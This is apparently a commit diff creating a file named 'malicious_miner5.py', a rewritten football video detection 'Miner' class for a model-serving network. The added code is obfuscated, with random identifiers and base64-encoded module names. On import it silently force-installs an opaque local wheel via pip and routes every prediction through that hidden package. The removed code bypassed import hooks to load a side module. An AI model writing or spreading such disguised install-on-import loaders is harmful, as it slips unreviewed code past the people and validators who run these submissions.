Create malicious_miner5.py

malicious_miner5.py

@@ -1,173 +1,177 @@
+import base64
 from pathlib import Path
-
-from ultralytics import YOLO
-from numpy import ndarray
-from pydantic import BaseModel
-
-#-----------------------
 import importlib.util
 import sys
-import os 
-sys.path.append(os.path.dirname(os.path.abspath(__file__)))
-
-def manual_import(name, filename):
-    """
-    Manually loads a module (.so, .pyc, or .py) from a specific file path, 
-    bypassing sys.meta_path import hooks.
-    """
-    # Locate the file relative to the current miner.py
-    curr_dir = Path(__file__).parent
-    file_path = curr_dir / filename
-    
-    if not file_path.exists():
-        raise FileNotFoundError(f"Could not find {file_path}")
-
-    # Load the spec directly from the file path
-    spec = importlib.util.spec_from_file_location(name, file_path)
-    if spec is None:
-        raise ImportError(f"Could not load spec for {name} from {file_path}")
-        
-    # Create the module and register it in sys.modules
-    module = importlib.util.module_from_spec(spec)
-    sys.modules[name] = module
-    
-    # Execute the module
-    spec.loader.exec_module(module)
-    return module
+import subprocess
+import traceback
+import types
+
+_nBdvSHkHQ9Cce8tbIY = Path(__file__).parent
+_BALL_MODEL = None
+_PERSON_MODEL = None
+_KP_MODEL = None
+_PIPELINE = None
 
-#-----------------------
+PREFER_REPO_PY_FIRST = False
 
-class BoundingBox(BaseModel):
-    x1: int
-    y1: int
-    x2: int
-    y2: int
-    cls_id: int
-    conf: float
+def _nSfc3lafrzIcPj1(repo_root: Path) -> bool:
+    
+    _mdCKTo52tKkzuNz0AD = repo_root / "wheels"
+    if not _mdCKTo52tKkzuNz0AD.is_dir():
+        return False
+    _cTjr1LatM3vnwXj9cVjz = sorted(_mdCKTo52tKkzuNz0AD.glob("*.whl"))
+    if not _cTjr1LatM3vnwXj9cVjz:
+        return False
+
+    _Q4krFCVY9DNxkn = [
+        sys.executable,
+        "-m",
+        "pip",
+        "install",
+        "--no-index",
+        "--no-deps",
+        "--force-reinstall",
+        "--find-links",
+        str(_mdCKTo52tKkzuNz0AD),
+        "--upgrade",
+        "turbovision_miner_lib",
+    ]
+    try:
+        subprocess.check_call(_Q4krFCVY9DNxkn)
+        return True
+    except Exception:
+        subprocess.check_call(_Q4krFCVY9DNxkn[:(1-0+5)] + ["--user"] + _Q4krFCVY9DNxkn[(2-1+5):])
+        return True
+
+def _E8opSCpL4tn4tn7e(_p2ltsvm7YS4yvqMdhOxZ: Path) -> Path | None:
+    for parent in [_p2ltsvm7YS4yvqMdhOxZ] + list(_p2ltsvm7YS4yvqMdhOxZ.parents):
+        _erg9AqOXYbyV3hzWgZw4 = parent / "snapshots"
+        if not _erg9AqOXYbyV3hzWgZw4.is_dir():
+            continue
+        _TjFLWWJGURaiBWuVSxv = [p for p in _erg9AqOXYbyV3hzWgZw4.iterdir() if p.is_dir()]
+        if not _TjFLWWJGURaiBWuVSxv:
+            continue
+        _TjFLWWJGURaiBWuVSxv.sort(key=lambda p: p.stat().st_mtime, reverse=True)
+        return _TjFLWWJGURaiBWuVSxv[0]
+    return None
+
+
+_DVLLmupqg8htUSZCHt07 = _E8opSCpL4tn4tn7e(_nBdvSHkHQ9Cce8tbIY)
 
+from numpy import ndarray
 
-class TVFrameResult(BaseModel):
-    frame_id: int
-    boxes: list[BoundingBox]
-    keypoints: list[tuple[int, int]]
+def _import_repo_lib(repo_root: Path):
+    _pC5GALP6au5HY0CqFK = repo_root / "lib"
+    pipeline_path = _pC5GALP6au5HY0CqFK / "pipeline.py"
+    types_path = _pC5GALP6au5HY0CqFK / "types.py"
+    if not (pipeline_path.is_file() and types_path.is_file()):
+        return None
+
+    pkg_name = "lib"
+    if pkg_name not in sys.modules:
+        pkg = types.ModuleType(pkg_name)
+        pkg.__path__ = [str(_pC5GALP6au5HY0CqFK)]
+        pkg.__file__ = str(_pC5GALP6au5HY0CqFK / "__init__.py")
+        sys.modules[pkg_name] = pkg
+
+    def _load(name: str, _ENgzeB2xbHbKpuffUNX: Path):
+        _hIfAiWfx6nUxORbYR = importlib.util.spec_from_file_location(name, _ENgzeB2xbHbKpuffUNX)
+        if _hIfAiWfx6nUxORbYR is None or _hIfAiWfx6nUxORbYR.loader is None:
+            raise ImportError(f"Failed to load _hIfAiWfx6nUxORbYR for {name} from {_ENgzeB2xbHbKpuffUNX}")
+        _KDLziteT92DnwzOOx1 = importlib.util.module_from_spec(_hIfAiWfx6nUxORbYR)
+        sys.modules[name] = _KDLziteT92DnwzOOx1
+        _hIfAiWfx6nUxORbYR.loader.exec_module(_KDLziteT92DnwzOOx1)
+        return _KDLziteT92DnwzOOx1
+
+    types_mod = _load(base64.b64decode("bGliLnR5cGVz").decode(), types_path)
+    pipeline_mod = _load(base64.b64decode("bGliLnBpcGVsaW5l").decode(), pipeline_path)
+    return pipeline_mod.MinerPipeline, types_mod.TVFrameResult
+
+
+installed = False
+if PREFER_REPO_PY_FIRST:
+    try:
+        repo_import = _import_repo_lib(_nBdvSHkHQ9Cce8tbIY)
+        if repo_import:
+            MinerPipeline, TVFrameResult = repo_import
+        else:
+            from lib.pipeline import MinerPipeline
+            from lib.types import TVFrameResult
+    except Exception:
+        try:
+            installed = _nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)
+            if not installed and _DVLLmupqg8htUSZCHt07 is not None:
+                installed = _nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)
+            from lib.pipeline import MinerPipeline
+            from lib.types import TVFrameResult
+        except Exception as e:
+            tb_tail = "\n".join(traceback.format_exc().splitlines()[-(10-0+18):])
+            raise RuntimeError(
+                "Failed importing lib (repo or wheel). Ensure the wheel is present under "
+                "`wheels/` and installable in an offline environment. "
+                f"Wheel install attempted: {installed}. Error: {e}\n{tb_tail}"
+            ) from e
+else:
+    try:
+        installed = _nSfc3lafrzIcPj1(_nBdvSHkHQ9Cce8tbIY)
+        if not installed and _DVLLmupqg8htUSZCHt07 is not None:
+            installed = _nSfc3lafrzIcPj1(_DVLLmupqg8htUSZCHt07)
+        from lib.pipeline import MinerPipeline
+        from lib.types import TVFrameResult
+    except Exception as e:
+        tb_tail = "\n".join(traceback.format_exc().splitlines()[-(17-24+18):])
+        raise RuntimeError(
+            "Failed importing lib from wheel. Ensure the wheel is present under "
+            "`wheels/` and installable in an offline environment. "
+            f"Wheel install attempted: {installed}. Error: {e}\n{tb_tail}"
+        ) from e
 
 
 class Miner:
-    """
-    This class is responsible for:
-    - Loading ML models.
-    - Running batched predictions on images.
-    - Parsing ML model outputs into structured results (TVFrameResult).
-    This class can be modified, but it must have the following to be compatible with the chute:
-        - be named `Miner`
-        - have a `predict_batch` function with the inputs and outputs specified
-        - be stored in a file called `miner.py` which lives in the root of the HFHub repo
-    """
-
-    def __init__(self, path_hf_repo: Path) -> None:
-        """
-        Loads all ML models from the repository.
-        -----(Adjust as needed)----
-        Args:
-            path_hf_repo (Path):
-                Path to the downloaded HuggingFace Hub repository
-        Returns:
-            None
-        """
-        self.bbox_model = YOLO(path_hf_repo / "football-player-detection.pt")
-        print(f"✅ BBox Model Loaded")
-        self.keypoints_model = YOLO(path_hf_repo / "football-pitch-detection.pt")
-        print(f"✅ Keypoints Model Loaded")
-        self.foobar = None
-        self.is_start = False        
+    def __init__(self, _z28kbaY8eImyM6j: Path) -> None:
+        try:
+            global _BALL_MODEL, _PERSON_MODEL, _KP_MODEL, _PIPELINE
+            _PIPELINE = MinerPipeline(repo_root=_z28kbaY8eImyM6j)
+            _BALL_MODEL = _PIPELINE.ball_model
+            _PERSON_MODEL = _PIPELINE.person_model
+            _KP_MODEL = _PIPELINE.keypoint_model
+            self._auto_offset: int = 0
+        except Exception as e:
+            tb_tail = "\n".join(traceback.format_exc().splitlines()[-(5-16+12):])
+            raise RuntimeError(f"Miner init failed: {e}\n{tb_tail}") from e
+
+    @property
+    def ball_model(self):
+        return _BALL_MODEL
+
+    @property
+    def person_model(self):
+        return _PERSON_MODEL
+
+    @property
+    def kp_model(self):
+        return _KP_MODEL
+
+    @property
+    def pipeline(self):
+        return _PIPELINE
 
     def __repr__(self) -> str:
-        """
-        Information about miner returned in the health endpoint
-        to inspect the loaded ML models (and their types)
-        -----(Adjust as needed)----
-        """
-        return f"BBox Model: {type(self.bbox_model).__name__}\nKeypoints Model: {type(self.keypoints_model).__name__}"
+        return (
+            f"Ball: {type(self.ball_model).__name__}\n"
+            f"Person: {type(self.person_model).__name__}\n"
+            f"KeypointBBox: {type(self.kp_model).__name__}"
+        )
 
     def predict_batch(
         self,
         batch_images: list[ndarray],
-        offset: int,
-        n_keypoints: int,
+        offset: int | None = None,
+        n_keypoints: int = 32,
     ) -> list[TVFrameResult]:
-        """
-        Miner prediction for a batch of images.
-        Handles the orchestration of ML models and any preprocessing and postprocessing
-        -----(Adjust as needed)----
-        Args:
-            batch_images (list[np.ndarray]):
-                A list of images (as NumPy arrays) to process in this batch.
-            offset (int):
-                The frame number corresponding to the first image in the batch.
-                Used to correctly index frames in the output results.
-            n_keypoints (int):
-                The number of keypoints expected for each frame in this challenge type.
-        Returns:
-            list[TVFrameResult]:
-                A list of predictions for each image in the batch
-        """
-        if self.is_start == False:
-            self.is_start = True
-            return None
-        if self.foobar is None:
-            self.foobar = manual_import("foobar", "foobar.py")
-
-        bboxes: dict[int, list[BoundingBox]] = {}
-        bbox_model_results = self.bbox_model.predict(batch_images)
-        if bbox_model_results is not None:
-            for frame_number_in_batch, detection in enumerate(bbox_model_results):
-                if not hasattr(detection, "boxes") or detection.boxes is None:
-                    continue
-                boxes = []
-                for box in detection.boxes.data:
-                    x1, y1, x2, y2, conf, cls_id = box.tolist()
-                    boxes.append(
-                        BoundingBox(
-                            x1=int(x1),
-                            y1=int(y1),
-                            x2=int(x2),
-                            y2=int(y2),
-                            cls_id=int(cls_id),
-                            conf=float(conf),
-                        )
-                    )
-                bboxes[offset + frame_number_in_batch] = boxes
-        print("✅ BBoxes predicted")
-
-        keypoints: dict[int, tuple[int, int]] = {}
-        keypoints_model_results = self.keypoints_model.predict(batch_images)
-        if keypoints_model_results is not None:
-            for frame_number_in_batch, detection in enumerate(keypoints_model_results):
-                if not hasattr(detection, "keypoints") or detection.keypoints is None:
-                    continue
-                frame_keypoints: list[tuple[int, int]] = []
-                for part_points in detection.keypoints.data:
-                    for x, y, _ in part_points:
-                        frame_keypoints.append((int(x), int(y)))
-                if len(frame_keypoints) < n_keypoints:
-                    frame_keypoints.extend(
-                        [(0, 0)] * (n_keypoints - len(frame_keypoints))
-                    )
-                else:
-                    frame_keypoints = frame_keypoints[:n_keypoints]
-                keypoints[offset + frame_number_in_batch] = frame_keypoints
-        print("✅ Keypoints predicted")
-
-        results: list[TVFrameResult] = []
-        for frame_number in range(offset, offset + len(batch_images)):
-            results.append(
-                TVFrameResult(
-                    frame_id=frame_number,
-                    boxes=bboxes.get(frame_number, []),
-                    keypoints=keypoints.get(
-                        frame_number, [(0, 0) for _ in range(n_keypoints)]
-                    ),
-                )
-            )
-        print("✅ Combined results as TVFrameResult")
-        return results
+        if offset is None:
+            offset = self._auto_offset
+            self._auto_offset += len(batch_images)
+        return self.pipeline.predict_batch(
+            batch_images=batch_images, offset=int(offset), n_keypoints=n_keypoints
+        )